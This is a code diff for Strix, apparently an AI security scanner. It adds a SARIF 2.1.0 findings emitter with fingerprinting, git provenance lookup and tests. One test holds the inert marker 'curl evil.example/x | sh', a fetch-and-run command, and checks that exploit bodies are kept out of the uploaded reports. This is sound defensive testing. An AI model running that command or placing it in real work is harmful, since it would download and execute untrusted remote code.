|
"xxe",
|
||||||
|
"race condition",
|
||||||
|
"toctou",
|
||||||
|
"information disclosure",
|
||||||
|
"insecure direct object reference",
|
||||||
|
"idor",
|
||||||
|
"bola",
|
||||||
|
"bfla",
|
||||||
|
"cross-tenant",
|
||||||
|
"cross-project",
|
||||||
|
"tenant bypass",
|
||||||
|
"auth bypass",
|
||||||
|
"rate limiting",
|
||||||
|
"rate limit",
|
||||||
|
"weak cryptography",
|
||||||
|
"weak hash",
|
||||||
|
"weak random",
|
||||||
|
"insecure random",
|
||||||
|
"tls verification",
|
||||||
|
"certificate verification",
|
||||||
|
"denial of service",
|
||||||
|
"regex denial of service",
|
||||||
|
"redos",
|
||||||
|
"supply chain",
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
def _primary_fingerprint(
|
||||||
|
rule_id: str,
|
||||||
|
report: dict[str, Any],
|
||||||
|
locations: list[dict[str, Any]],
|
||||||
|
*,
|
||||||
|
is_synthetic: bool = False,
|
||||||
|
) -> str | None:
|
||||||
|
"""Deterministic per-finding fingerprint for SARIF auto-resolution.
|
||||||
|
|
||||||
|
Computed from primitives that don't depend on LLM prose stability:
|
||||||
|
|
||||||
|
- rule_id (already CWE-normalised by ``_rule_id``)
|
||||||
|
- first SARIF location's URI + startLine — these come from
|
||||||
|
Strix's ``code_locations[].file`` and ``start_line`` which
|
||||||
|
are sourced from the actual finding evidence, not synthesized
|
||||||
|
- HTTP method + endpoint when present (BOLA/IDOR/missing-authz
|
||||||
|
findings carry these explicitly in the report dict)
|
||||||
|
|
||||||
|
Synthetic-anchored findings (``is_synthetic=True``) all share
|
||||||
|
uri="SECURITY.md" and have no real start_line. Hashing by
|
||||||
|
(rule_id, "SECURITY.md") alone would collapse every locationless
|
||||||
|
finding of the same CWE into a single alert. To distinguish them,
|
||||||
|
the synthetic path adds the class keyword extracted from the title
|
||||||
|
(same logic ``_class_fingerprint`` uses). The class keyword
|
||||||
|
catalogue is closed and stable, so cross-run identity holds — same
|
||||||
|
vulnerability class on the same rule_id always lands on the same
|
||||||
|
hash, and two different classes on the same rule_id don't collide.
|
||||||
|
|
||||||
|
Returns None when no anchor is available AND not synthetic.
|
||||||
|
"""
|
||||||
|
primary_physical = _first_physical_location(locations)
|
||||||
|
uri = ""
|
||||||
|
start_line: int | None = None
|
||||||
|
if primary_physical:
|
||||||
|
uri = (primary_physical.get("artifactLocation") or {}).get("uri", "") or ""
|
||||||
|
region = primary_physical.get("region") or {}
|
||||||
|
sl = region.get("startLine")
|
||||||
|
if isinstance(sl, int) and sl >= 1:
|
||||||
|
start_line = sl
|
||||||
|
|
||||||
|
method = _string_value(report.get("method")) or ""
|
||||||
|
endpoint = _string_value(report.get("endpoint")) or ""
|
||||||
|
route = f"{method.upper()} {endpoint}".strip() if (method or endpoint) else ""
|
||||||
|
|
||||||
|
if not uri and not route:
|
||||||
|
return None
|
||||||
|
|
||||||
|
parts = [f"rule:{rule_id}"]
|
||||||
|
if uri:
|
||||||
|
parts.append(f"uri:{uri}")
|
||||||
|
if start_line is not None:
|
||||||
|
# startLine in fingerprint is debatable: line shifts in
|
||||||
|
# surrounding code re-fingerprint. The alternative — drop
|
||||||
|
# line — collides multiple findings per file. We include
|
||||||
|
# line because Strix code_locations carry the SINK line,
|
||||||
|
# which moves only when the vulnerable code itself moves;
|
||||||
|
# lines surfacing from cosmetic edits in unrelated parts
|
||||||
|
# of the file don't shift it.
|
||||||
|
parts.append(f"line:{start_line}")
|
||||||
|
if route:
|
||||||
|
parts.append(f"route:{route}")
|
||||||
|
|
||||||
|
if is_synthetic:
|
||||||
|
# Augment with class keyword so locationless findings of
|
||||||
|
# different vuln classes don't collide. rule_id is already in
|
||||||
|
# the composite so we don't also need to stamp the CWE.
|
||||||
|
title = _string_value(report.get("title")) or ""
|
||||||
|
if title:
|
||||||
|
parts.append(f"synth_class:{_class_keyword(title)}")
|
||||||
|
|
||||||
|
composite = "|".join(parts)
|
||||||
|
return hashlib.sha256(composite.encode("utf-8")).hexdigest()
|
||||||
|
|
||||||
|
|
||||||
|
def _first_physical_location(locations: list[dict[str, Any]]) -> dict[str, Any] | None:
|
||||||
|
"""Return the first location's physicalLocation payload, if any."""
|
||||||
|
for location in locations:
|
||||||
|
physical = location.get("physicalLocation")
|
||||||
|
if physical:
|
||||||
|
return cast("dict[str, Any]", physical)
|
||||||
|
return None
|
||||||
|
|
||||||
|
|
||||||
|
def _class_fingerprint(rule_id: str, report: dict[str, Any]) -> str | None:
|
||||||
|
"""File-independent fingerprint for cross-rename dismissal carryover.
|
||||||
|
|
||||||
|
Lets downstream tooling apply prior dismissal determinations to a
|
||||||
|
new alert that has the same vulnerability class but a different
|
||||||
|
primary fingerprint (typical case: file rename, or a fix that moves
|
||||||
|
the vulnerable code to a new module).
|
||||||
|
|
||||||
|
Composite of (rule_id, vuln-class keyword extracted from title).
|
||||||
|
Title is LLM-authored so it's stochastic at the prose level, but
|
||||||
|
the class keyword extraction picks up the discrete vulnerability
|
||||||
|
category, which is much more stable than the full title.
|
||||||
|
|
||||||
|
Falls back to the first 5 lowercased words of the title when no
|
||||||
|
curated keyword matches. Acceptable as a fallback because the
|
||||||
|
class fingerprint is a tiebreaker, not a primary reconciliation key.
|
||||||
|
"""
|
||||||
|
title = _string_value(report.get("title")) or ""
|
||||||
|
keyword = _class_keyword(title) if title else ""
|
||||||
|
if not keyword:
|
||||||
|
return None
|
||||||
|
composite = f"rule:{rule_id}|class:{keyword}"
|
||||||
|
return hashlib.sha256(composite.encode("utf-8")).hexdigest()
|
||||||
|
|
||||||
|
|
||||||
|
def _class_keyword(title: str) -> str:
|
||||||
|
"""Pick the first matching curated keyword in ``title``, or fall
|
||||||
|
back to the first 5 lowercased alpha-numeric words.
|
||||||
|
|
||||||
|
Shared between ``_class_fingerprint`` (file-rename carryover) and
|
||||||
|
``_primary_fingerprint`` (synthetic-location distinguisher) so the
|
||||||
|
two fingerprints stay aligned on what counts as "the same class".
|
||||||
|
Returns empty string when title is empty or whitespace-only.
|
||||||
|
"""
|
||||||
|
if not title:
|
||||||
|
return ""
|
||||||
|
lower = title.lower()
|
||||||
|
for kw in _VULN_CLASS_KEYWORDS:
|
||||||
|
if kw in lower:
|
||||||
|
return kw
|
||||||
|
words = re.findall(r"[a-z0-9]+", lower)[:5]
|
||||||
|
return " ".join(words)
|
||||||
|
|
||||||
|
|
||||||
|
def _rule_name(rule_id: str, title: str) -> str:
|
||||||
|
"""SARIF rule.name must be a free-form string; prefer the finding title
|
||||||
|
where available, fall back to a snake_case'd form of the rule id."""
|
||||||
|
return title or rule_id.replace("-", "_")
|
||||||
|
|
||||||
|
|
||||||
|
def _rule_tags(rule_id: str, report: dict[str, Any]) -> list[str]:
|
||||||
|
tags: list[str] = ["security"]
|
||||||
|
if rule_id.startswith("CWE-"):
|
||||||
|
tags.append(rule_id)
|
||||||
|
cve = _string_value(report.get("cve"))
|
||||||
|
if cve and cve not in tags:
|
||||||
|
tags.append(cve)
|
||||||
|
return tags
|
||||||
|
|
||||||
|
|
||||||
|
def _help_uri_for(rule_id: str) -> str | None:
|
||||||
|
if rule_id.startswith("CWE-"):
|
||||||
|
return f"https://cwe.mitre.org/data/definitions/{rule_id.removeprefix('CWE-')}.html"
|
||||||
|
return None
|
||||||
|
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# Severity + help text
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
|
||||||
|
def _sarif_level(severity: Any) -> str:
|
||||||
|
"""Map Strix severity labels to SARIF result levels."""
|
||||||
|
normalised = (_string_value(severity) or "").lower()
|
||||||
|
return _SEVERITY_TO_LEVEL.get(normalised, "note")
|
||||||
|
|
||||||
|
|
||||||
|
def _security_severity(report: dict[str, Any]) -> str:
|
||||||
|
"""GitHub-compatible ``security-severity`` string in 0.0-10.0.
|
||||||
|
|
||||||
|
Uses CVSS when present, otherwise falls back to the severity label.
|
||||||
|
"""
|
||||||
|
cvss = report.get("cvss")
|
||||||
|
if cvss is not None:
|
||||||
|
try:
|
||||||
|
return f"{float(cvss):.1f}"
|
||||||
|
except (TypeError, ValueError):
|
||||||
|
pass
|
||||||
|
normalised = (_string_value(report.get("severity")) or "info").lower()
|
||||||
|
return _SEVERITY_TO_SCORE.get(normalised, "1.0")
|
||||||
|
|
||||||
|
|
||||||
|
def _help_text(report: dict[str, Any], fallback: str) -> str:
|
||||||
|
"""Assemble SARIF help text from finding details and remediation."""
|
||||||
|
sections = [
|
||||||
|
_string_value(report.get("description")),
|
||||||
|
_string_value(report.get("impact")),
|
||||||
|
_string_value(report.get("remediation_steps")),
|
||||||
|
]
|
||||||
|
help_text = "\n\n".join(section for section in sections if section)
|
||||||
|
return help_text or fallback
|
||||||
|
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# Summaries for unsafe-location findings
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
|
||||||
|
def _dropped_location_summary(
|
||||||
|
report: dict[str, Any],
|
||||||
|
dropped_location_count: int,
|
||||||
|
) -> dict[str, Any]:
|
||||||
|
"""Summarize unsafe locations dropped from a partially emitted finding."""
|
||||||
|
summary: dict[str, Any] = {"droppedLocationCount": dropped_location_count}
|
||||||
|
for key in ("id", "title"):
|
||||||
|
value = report.get(key)
|
||||||
|
if value not in (None, ""):
|
||||||
|
summary[key] = value
|
||||||
|
return summary
|
||||||
|
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# Utility
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
|
||||||
|
def _string_value(value: Any) -> str | None:
|
||||||
|
"""Return a stripped non-empty string value, or None."""
|
||||||
|
if isinstance(value, str):
|
||||||
|
stripped = value.strip()
|
||||||
|
return stripped or None
|
||||||
|
return None
|
||||||
|
|
||||||
|
|
||||||
|
def _slugify(value: str) -> str:
|
||||||
|
"""Convert arbitrary finding text into a stable lowercase slug."""
|
||||||
|
chars = [char.lower() if char.isalnum() else "-" for char in value]
|
||||||
|
slug = "-".join(part for part in "".join(chars).split("-") if part)
|
||||||
|
return slug or "strix-finding"
|
||||||
@@ -1,7 +1,9 @@
|
|||||||
import json
|
import json
|
||||||
import logging
|
import logging
|
||||||
|
import subprocess
|
||||||
from collections.abc import Callable
|
from collections.abc import Callable
|
||||||
from datetime import UTC, datetime
|
from datetime import UTC, datetime
|
||||||
|
from importlib.metadata import PackageNotFoundError, version
|
||||||
from pathlib import Path
|
from pathlib import Path
|
||||||
from typing import Any, Optional, cast
|
from typing import Any, Optional, cast
|
||||||
from uuid import uuid4
|
from uuid import uuid4
|
||||||
@@ -9,6 +11,7 @@ from uuid import uuid4
|
|||||||
from agents.usage import Usage
|
from agents.usage import Usage
|
||||||
|
|
||||||
from strix.core.paths import run_dir_for
|
from strix.core.paths import run_dir_for
|
||||||
|
from strix.report.sarif import write_sarif
|
||||||
from strix.report.usage import LLMUsageLedger
|
from strix.report.usage import LLMUsageLedger
|
||||||
from strix.report.writer import (
|
from strix.report.writer import (
|
||||||
read_run_record,
|
read_run_record,
|
||||||
@@ -24,6 +27,65 @@ logger = logging.getLogger(__name__)
|
|||||||
_global_report_state: Optional["ReportState"] = None
|
_global_report_state: Optional["ReportState"] = None
|
||||||
|
|
||||||
|
|
||||||
|
def _strix_version() -> str | None:
|
||||||
|
"""Best-effort package version for the SARIF tool.driver.version field."""
|
||||||
|
try:
|
||||||
|
return version("strix-agent")
|
||||||
|
except PackageNotFoundError:
|
||||||
|
return None
|
||||||
|
|
||||||
|
|
||||||
|
def _parse_repo_full_name(uri: str) -> str | None:
|
||||||
|
"""Extract ``owner/repo`` from a git URL or slug, else None."""
|
||||||
|
text = uri.strip().removesuffix(".git")
|
||||||
|
if not text:
|
||||||
|
return None
|
||||||
|
if "@" in text and ":" in text.split("@", 1)[1]:
|
||||||
|
# scp-style: git@host:owner/repo
|
||||||
|
text = text.split("@", 1)[1].split(":", 1)[1]
|
||||||
|
elif "://" in text:
|
||||||
|
# https://host/owner/repo
|
||||||
|
host_and_path = text.split("://", 1)[1]
|
||||||
|
text = host_and_path.split("/", 1)[1] if "/" in host_and_path else host_and_path
|
||||||
|
parts = [p for p in text.split("/") if p]
|
||||||
|
if len(parts) >= 2:
|
||||||
|
return "/".join(parts[-2:])
|
||||||
|
return None
|
||||||
|
|
||||||
|
|
||||||
|
def _git_head(repo_path: str) -> tuple[str | None, str | None]:
|
||||||
|
"""Best-effort ``(commit_sha, branch)`` for a cloned repo, or ``(None, None)``.
|
||||||
|
|
||||||
|
Used to populate SARIF versionControlProvenance. Failures (missing git,
|
||||||
|
non-repo path, detached HEAD, timeout) degrade to None so the SARIF
|
||||||
|
emit is never blocked by a provenance lookup.
|
||||||
|
"""
|
||||||
|
path = Path(repo_path)
|
||||||
|
if not path.is_dir():
|
||||||
|
return None, None
|
||||||
|
|
||||||
|
def _run(args: list[str]) -> str | None:
|
||||||
|
try:
|
||||||
|
result = subprocess.run( # noqa: S603
|
||||||
|
["git", "-C", str(path), *args], # noqa: S607
|
||||||
|
capture_output=True,
|
||||||
|
text=True,
|
||||||
|
check=False,
|
||||||
|
timeout=5,
|
||||||
|
)
|
||||||
|
except (OSError, subprocess.SubprocessError):
|
||||||
|
return None
|
||||||
|
if result.returncode != 0:
|
||||||
|
return None
|
||||||
|
return result.stdout.strip() or None
|
||||||
|
|
||||||
|
commit = _run(["rev-parse", "HEAD"])
|
||||||
|
branch = _run(["rev-parse", "--abbrev-ref", "HEAD"])
|
||||||
|
if branch == "HEAD": # detached HEAD carries no branch name
|
||||||
|
branch = None
|
||||||
|
return commit, branch
|
||||||
|
|
||||||
|
|
||||||
def get_global_report_state() -> Optional["ReportState"]:
|
def get_global_report_state() -> Optional["ReportState"]:
|
||||||
return _global_report_state
|
return _global_report_state
|
||||||
|
|
||||||
@@ -70,6 +132,9 @@ class ReportState:
|
|||||||
self.caido_url: str | None = None
|
self.caido_url: str | None = None
|
||||||
self.vulnerability_found_callback: Callable[[dict[str, Any]], None] | None = None
|
self.vulnerability_found_callback: Callable[[dict[str, Any]], None] | None = None
|
||||||
|
|
||||||
|
self._sarif_repo_ctx: dict[str, Any] | None = None
|
||||||
|
self._sarif_repo_ctx_ready: bool = False
|
||||||
|
|
||||||
def get_run_dir(self) -> Path:
|
def get_run_dir(self) -> Path:
|
||||||
if self._run_dir is None:
|
if self._run_dir is None:
|
||||||
run_dir_name = self.run_name if self.run_name else self.run_id
|
run_dir_name = self.run_name if self.run_name else self.run_id
|
||||||
@@ -335,12 +400,69 @@ class ReportState:
|
|||||||
if self.vulnerability_reports:
|
if self.vulnerability_reports:
|
||||||
write_vulnerabilities(run_dir, self.vulnerability_reports, self._saved_vuln_ids)
|
write_vulnerabilities(run_dir, self.vulnerability_reports, self._saved_vuln_ids)
|
||||||
|
|
||||||
|
# SARIF 2.1.0 emitter for CI / ASPM integration. Always emit (even
|
||||||
|
# empty) so a clean run overwrites a prior findings.sarif rather than
|
||||||
|
# leaving a stale one — codeql-action's "absent from new submission →
|
||||||
|
# fixed" needs the fresh empty doc to auto-resolve alerts. Isolated
|
||||||
|
# in its own try: a SARIF-build error must NEVER break the CSV/MD/
|
||||||
|
# run-record path (the emitter's own contract).
|
||||||
|
try:
|
||||||
|
write_sarif(
|
||||||
|
run_dir,
|
||||||
|
self.vulnerability_reports,
|
||||||
|
tool_version=_strix_version(),
|
||||||
|
repository_context=self._sarif_repository_context(),
|
||||||
|
)
|
||||||
|
except Exception:
|
||||||
|
logger.exception("SARIF emit failed (non-fatal; CSV/MD unaffected)")
|
||||||
|
|
||||||
write_run_record(run_dir, self.run_record)
|
write_run_record(run_dir, self.run_record)
|
||||||
|
|
||||||
logger.info("Essential scan data saved to: %s", run_dir)
|
logger.info("Essential scan data saved to: %s", run_dir)
|
||||||
except (OSError, RuntimeError):
|
except (OSError, RuntimeError):
|
||||||
logger.exception("Failed to save scan data")
|
logger.exception("Failed to save scan data")
|
||||||
|
|
||||||
|
def _sarif_repository_context(self) -> dict[str, Any] | None:
|
||||||
|
"""Repo/commit/branch context for SARIF provenance (repo scans only).
|
||||||
|
|
||||||
|
Cached after first derivation — ``_save_artifacts`` runs on every
|
||||||
|
state save, and the git lookup only needs to happen once per run.
|
||||||
|
Returns None for URL / IP (DAST) targets that have no repository.
|
||||||
|
"""
|
||||||
|
if not self._sarif_repo_ctx_ready:
|
||||||
|
self._sarif_repo_ctx = self._derive_repository_context()
|
||||||
|
self._sarif_repo_ctx_ready = True
|
||||||
|
return self._sarif_repo_ctx
|
||||||
|
|
||||||
|
def _derive_repository_context(self) -> dict[str, Any] | None:
|
||||||
|
targets = self.run_record.get("targets_info") or []
|
||||||
|
if not isinstance(targets, list):
|
||||||
|
return None
|
||||||
|
for target in targets:
|
||||||
|
if not isinstance(target, dict) or target.get("type") != "repository":
|
||||||
|
continue
|
||||||
|
details = target.get("details") or {}
|
||||||
|
if not isinstance(details, dict):
|
||||||
|
continue
|
||||||
|
uri = details.get("target_repo")
|
||||||
|
if not isinstance(uri, str) or not uri.strip():
|
||||||
|
continue
|
||||||
|
|
||||||
|
context: dict[str, Any] = {"repositoryUri": uri.strip()}
|
||||||
|
full_name = _parse_repo_full_name(uri)
|
||||||
|
if full_name:
|
||||||
|
context["repositoryFullName"] = full_name
|
||||||
|
cloned = details.get("cloned_repo_path")
|
||||||
|
if isinstance(cloned, str) and cloned.strip():
|
||||||
|
commit, branch = _git_head(cloned.strip())
|
||||||
|
if commit:
|
||||||
|
context["commitSha"] = commit
|
||||||
|
if branch:
|
||||||
|
context["branch"] = branch
|
||||||
|
context["ref"] = f"refs/heads/{branch}"
|
||||||
|
return context
|
||||||
|
return None
|
||||||
|
|
||||||
def _sync_llm_usage_record(self) -> None:
|
def _sync_llm_usage_record(self) -> None:
|
||||||
self.run_record["llm_usage"] = self._build_llm_usage_record()
|
self.run_record["llm_usage"] = self._build_llm_usage_record()
|
||||||
|
|
||||||
|
|||||||
@@ -0,0 +1,244 @@
|
|||||||
|
"""Tests for the SARIF 2.1.0 emitter in strix.report.sarif."""
|
||||||
|
|
||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
import json
|
||||||
|
from typing import TYPE_CHECKING, Any
|
||||||
|
|
||||||
|
from strix.report.sarif import write_sarif
|
||||||
|
|
||||||
|
|
||||||
|
if TYPE_CHECKING:
|
||||||
|
from pathlib import Path
|
||||||
|
|
||||||
|
|
||||||
|
def _read(run_dir: Path) -> dict[str, Any]:
|
||||||
|
doc = json.loads((run_dir / "findings.sarif").read_text(encoding="utf-8"))
|
||||||
|
assert isinstance(doc, dict)
|
||||||
|
return doc
|
||||||
|
|
||||||
|
|
||||||
|
def _finding(**overrides: Any) -> dict[str, Any]:
|
||||||
|
base: dict[str, Any] = {
|
||||||
|
"id": "vuln-0001",
|
||||||
|
"title": "SQL Injection in get_user",
|
||||||
|
"severity": "critical",
|
||||||
|
"cwe": "CWE-89",
|
||||||
|
"timestamp": "2026-07-02 10:00:00 UTC",
|
||||||
|
"code_locations": [{"file": "app.py", "start_line": 4}],
|
||||||
|
}
|
||||||
|
base.update(overrides)
|
||||||
|
return base
|
||||||
|
|
||||||
|
|
||||||
|
def test_write_sarif_basic_shape(tmp_path: Path) -> None:
|
||||||
|
write_sarif(tmp_path, [_finding()])
|
||||||
|
doc = _read(tmp_path)
|
||||||
|
|
||||||
|
assert doc["version"] == "2.1.0"
|
||||||
|
assert "2.1.0" in doc["$schema"]
|
||||||
|
run = doc["runs"][0]
|
||||||
|
assert run["tool"]["driver"]["name"] == "Strix"
|
||||||
|
assert len(run["results"]) == 1
|
||||||
|
loc = run["results"][0]["locations"][0]["physicalLocation"]
|
||||||
|
assert loc["artifactLocation"]["uri"] == "app.py"
|
||||||
|
assert loc["region"]["startLine"] == 4
|
||||||
|
|
||||||
|
|
||||||
|
def test_write_sarif_always_emits_for_zero_findings(tmp_path: Path) -> None:
|
||||||
|
# A clean run must still write an (empty) document so a SARIF consumer can
|
||||||
|
# auto-resolve alerts that are absent from the new submission.
|
||||||
|
out = write_sarif(tmp_path, [])
|
||||||
|
assert out.exists()
|
||||||
|
doc = _read(tmp_path)
|
||||||
|
assert doc["version"] == "2.1.0"
|
||||||
|
assert doc["runs"][0]["results"] == []
|
||||||
|
|
||||||
|
|
||||||
|
def test_write_sarif_tool_version_is_reported(tmp_path: Path) -> None:
|
||||||
|
write_sarif(tmp_path, [_finding()], tool_version="9.9.9")
|
||||||
|
assert _read(tmp_path)["runs"][0]["tool"]["driver"]["version"] == "9.9.9"
|
||||||
|
|
||||||
|
|
||||||
|
def test_write_sarif_locationless_finding_is_anchored_not_dropped(tmp_path: Path) -> None:
|
||||||
|
# A finding with no code location must still appear (anchored to a stable
|
||||||
|
# fallback), never be silently dropped from the report.
|
||||||
|
write_sarif(tmp_path, [_finding(id="vuln-0002", code_locations=None)])
|
||||||
|
results = _read(tmp_path)["runs"][0]["results"]
|
||||||
|
assert len(results) == 1
|
||||||
|
uri = results[0]["locations"][0]["physicalLocation"]["artifactLocation"]["uri"]
|
||||||
|
assert uri == "SECURITY.md"
|
||||||
|
|
||||||
|
|
||||||
|
def test_write_sarif_fingerprint_stable_across_title_rewording(tmp_path: Path) -> None:
|
||||||
|
# The same finding at the same location with a reworded title must keep the
|
||||||
|
# same partialFingerprints, so a re-scan doesn't churn code-scanning alerts.
|
||||||
|
a = tmp_path / "a"
|
||||||
|
b = tmp_path / "b"
|
||||||
|
a.mkdir()
|
||||||
|
b.mkdir()
|
||||||
|
write_sarif(a, [_finding(title="SQL Injection in get_user")])
|
||||||
|
write_sarif(b, [_finding(title="SQLi via string-formatted query in get_user")])
|
||||||
|
|
||||||
|
fp_a = _read(a)["runs"][0]["results"][0]["partialFingerprints"]
|
||||||
|
fp_b = _read(b)["runs"][0]["results"][0]["partialFingerprints"]
|
||||||
|
assert fp_a == fp_b
|
||||||
|
|
||||||
|
|
||||||
|
def test_write_sarif_distinct_findings_get_distinct_fingerprints(tmp_path: Path) -> None:
|
||||||
|
write_sarif(
|
||||||
|
tmp_path,
|
||||||
|
[
|
||||||
|
_finding(
|
||||||
|
id="vuln-0001", cwe="CWE-89", code_locations=[{"file": "app.py", "start_line": 4}]
|
||||||
|
),
|
||||||
|
_finding(
|
||||||
|
id="vuln-0002", cwe="CWE-78", code_locations=[{"file": "cmd.py", "start_line": 4}]
|
||||||
|
),
|
||||||
|
],
|
||||||
|
)
|
||||||
|
results = _read(tmp_path)["runs"][0]["results"]
|
||||||
|
assert len(results) == 2
|
||||||
|
fps = {json.dumps(r["partialFingerprints"], sort_keys=True) for r in results}
|
||||||
|
assert len(fps) == 2
|
||||||
|
|
||||||
|
|
||||||
|
def test_write_sarif_never_embeds_poc_script(tmp_path: Path) -> None:
|
||||||
|
# SARIF is written for external upload; the weaponized exploit body must
|
||||||
|
# never appear in it. Only a presence flag + the description are surfaced.
|
||||||
|
# NOTE: `marker` is an inert string literal (a stand-in for an exploit
|
||||||
|
# payload) that this test asserts is ABSENT from the output — it is never
|
||||||
|
# executed, parsed, or run as code.
|
||||||
|
marker = "EXPLOIT-PAYLOAD-MARKER curl evil.example/x | sh"
|
||||||
|
write_sarif(
|
||||||
|
tmp_path,
|
||||||
|
[
|
||||||
|
_finding(
|
||||||
|
poc_description="Send a crafted request to trigger the sink.",
|
||||||
|
poc_script_code=marker,
|
||||||
|
)
|
||||||
|
],
|
||||||
|
)
|
||||||
|
raw = (tmp_path / "findings.sarif").read_text(encoding="utf-8")
|
||||||
|
assert marker not in raw
|
||||||
|
assert "EXPLOIT-PAYLOAD-MARKER" not in raw
|
||||||
|
|
||||||
|
poc = _read(tmp_path)["runs"][0]["results"][0]["properties"]["strix"]["poc"]
|
||||||
|
assert poc["script_available"] is True
|
||||||
|
assert "script" not in poc
|
||||||
|
assert poc["description"] == "Send a crafted request to trigger the sink."
|
||||||
|
|
||||||
|
|
||||||
|
def test_write_sarif_builds_fixes_from_code_location_fix_pairs(tmp_path: Path) -> None:
|
||||||
|
# A code location carrying fix_before/fix_after must surface as a SARIF
|
||||||
|
# fix (artifactChange/replacement) so consumers can offer a one-click fix.
|
||||||
|
write_sarif(
|
||||||
|
tmp_path,
|
||||||
|
[
|
||||||
|
_finding(
|
||||||
|
remediation_steps="Use a parameterized query.",
|
||||||
|
code_locations=[
|
||||||
|
{
|
||||||
|
"file": "app.py",
|
||||||
|
"start_line": 4,
|
||||||
|
"end_line": 4,
|
||||||
|
"fix_before": 'query = "SELECT * FROM u WHERE id=" + uid',
|
||||||
|
"fix_after": 'query = "SELECT * FROM u WHERE id=%s"',
|
||||||
|
}
|
||||||
|
],
|
||||||
|
)
|
||||||
|
],
|
||||||
|
)
|
||||||
|
result = _read(tmp_path)["runs"][0]["results"][0]
|
||||||
|
fixes = result["fixes"]
|
||||||
|
assert len(fixes) == 1
|
||||||
|
change = fixes[0]["artifactChanges"][0]
|
||||||
|
assert change["artifactLocation"]["uri"] == "app.py"
|
||||||
|
replacement = change["replacements"][0]
|
||||||
|
assert replacement["deletedRegion"]["startLine"] == 4
|
||||||
|
assert replacement["insertedContent"]["text"] == 'query = "SELECT * FROM u WHERE id=%s"'
|
||||||
|
|
||||||
|
|
||||||
|
def test_write_sarif_omits_fixes_without_fix_pairs(tmp_path: Path) -> None:
|
||||||
|
write_sarif(tmp_path, [_finding()])
|
||||||
|
assert "fixes" not in _read(tmp_path)["runs"][0]["results"][0]
|
||||||
|
|
||||||
|
|
||||||
|
def test_write_sarif_adds_logical_location_for_endpoint(tmp_path: Path) -> None:
|
||||||
|
# DAST findings hang off an endpoint; it must be preserved as a logical
|
||||||
|
# location so the finding keeps an addressable anchor.
|
||||||
|
write_sarif(tmp_path, [_finding(endpoint="GET /api/users/{id}")])
|
||||||
|
locations = _read(tmp_path)["runs"][0]["results"][0]["locations"]
|
||||||
|
logical = [
|
||||||
|
entry
|
||||||
|
for loc in locations
|
||||||
|
for entry in loc.get("logicalLocations", [])
|
||||||
|
if entry.get("kind") == "endpoint"
|
||||||
|
]
|
||||||
|
assert logical == [{"fullyQualifiedName": "GET /api/users/{id}", "kind": "endpoint"}]
|
||||||
|
|
||||||
|
|
||||||
|
def test_write_sarif_synthetic_finding_falls_back_to_resource_logical_location(
|
||||||
|
tmp_path: Path,
|
||||||
|
) -> None:
|
||||||
|
# No code location and no endpoint: the target becomes a resource logical
|
||||||
|
# location so a locationless finding still carries a meaningful anchor.
|
||||||
|
write_sarif(
|
||||||
|
tmp_path,
|
||||||
|
[_finding(code_locations=None, endpoint=None, target="https://api.example.com")],
|
||||||
|
)
|
||||||
|
result = _read(tmp_path)["runs"][0]["results"][0]
|
||||||
|
assert result["properties"]["synthetic_location"] is True
|
||||||
|
logical = [
|
||||||
|
entry
|
||||||
|
for loc in result["locations"]
|
||||||
|
for entry in loc.get("logicalLocations", [])
|
||||||
|
if entry.get("kind") == "resource"
|
||||||
|
]
|
||||||
|
assert logical == [{"fullyQualifiedName": "https://api.example.com", "kind": "resource"}]
|
||||||
|
|
||||||
|
|
||||||
|
def test_write_sarif_emits_version_control_provenance(tmp_path: Path) -> None:
|
||||||
|
write_sarif(
|
||||||
|
tmp_path,
|
||||||
|
[_finding()],
|
||||||
|
repository_context={
|
||||||
|
"repositoryUri": "https://github.com/acme/widget",
|
||||||
|
"repositoryFullName": "acme/widget",
|
||||||
|
"commitSha": "abc123def456",
|
||||||
|
"branch": "main",
|
||||||
|
"ref": "refs/heads/main",
|
||||||
|
},
|
||||||
|
)
|
||||||
|
run = _read(tmp_path)["runs"][0]
|
||||||
|
assert run["automationDetails"] == {"id": "strix/acme/widget"}
|
||||||
|
provenance = run["versionControlProvenance"][0]
|
||||||
|
assert provenance == {
|
||||||
|
"repositoryUri": "https://github.com/acme/widget",
|
||||||
|
"revisionId": "abc123def456",
|
||||||
|
"branch": "main",
|
||||||
|
}
|
||||||
|
assert run["properties"]["repository"] == "acme/widget"
|
||||||
|
assert run["properties"]["commit_sha"] == "abc123def456"
|
||||||
|
assert run["properties"]["ref"] == "refs/heads/main"
|
||||||
|
|
||||||
|
|
||||||
|
def test_write_sarif_omits_provenance_when_no_repository_context(tmp_path: Path) -> None:
|
||||||
|
# DAST / URL scans have no VCS; provenance fields must be absent, not empty.
|
||||||
|
write_sarif(tmp_path, [_finding()])
|
||||||
|
run = _read(tmp_path)["runs"][0]
|
||||||
|
assert "versionControlProvenance" not in run
|
||||||
|
assert "automationDetails" not in run
|
||||||
|
|
||||||
|
|
||||||
|
def test_write_sarif_replaces_atomically_no_partial_on_reemit(tmp_path: Path) -> None:
|
||||||
|
# A re-emit must land a complete document, never leave a stray temp file
|
||||||
|
# or a truncated target alongside it.
|
||||||
|
write_sarif(tmp_path, [_finding()])
|
||||||
|
write_sarif(tmp_path, [_finding(), _finding(id="vuln-0002", cwe="CWE-78")])
|
||||||
|
|
||||||
|
# Only the final artifact remains — no leftover .tmp siblings.
|
||||||
|
leftovers = [p.name for p in tmp_path.iterdir() if p.name != "findings.sarif"]
|
||||||
|
assert leftovers == []
|
||||||
|
# And it parses as a complete document with both findings.
|
||||||
|
assert len(_read(tmp_path)["runs"][0]["results"]) == 2
|
||||||
@@ -0,0 +1,85 @@
|
|||||||
|
"""Tests for SARIF repository-context derivation in strix.report.state."""
|
||||||
|
|
||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
import subprocess
|
||||||
|
from typing import TYPE_CHECKING
|
||||||
|
|
||||||
|
from strix.report.state import ReportState, _parse_repo_full_name
|
||||||
|
|
||||||
|
|
||||||
|
if TYPE_CHECKING:
|
||||||
|
from pathlib import Path
|
||||||
|
|
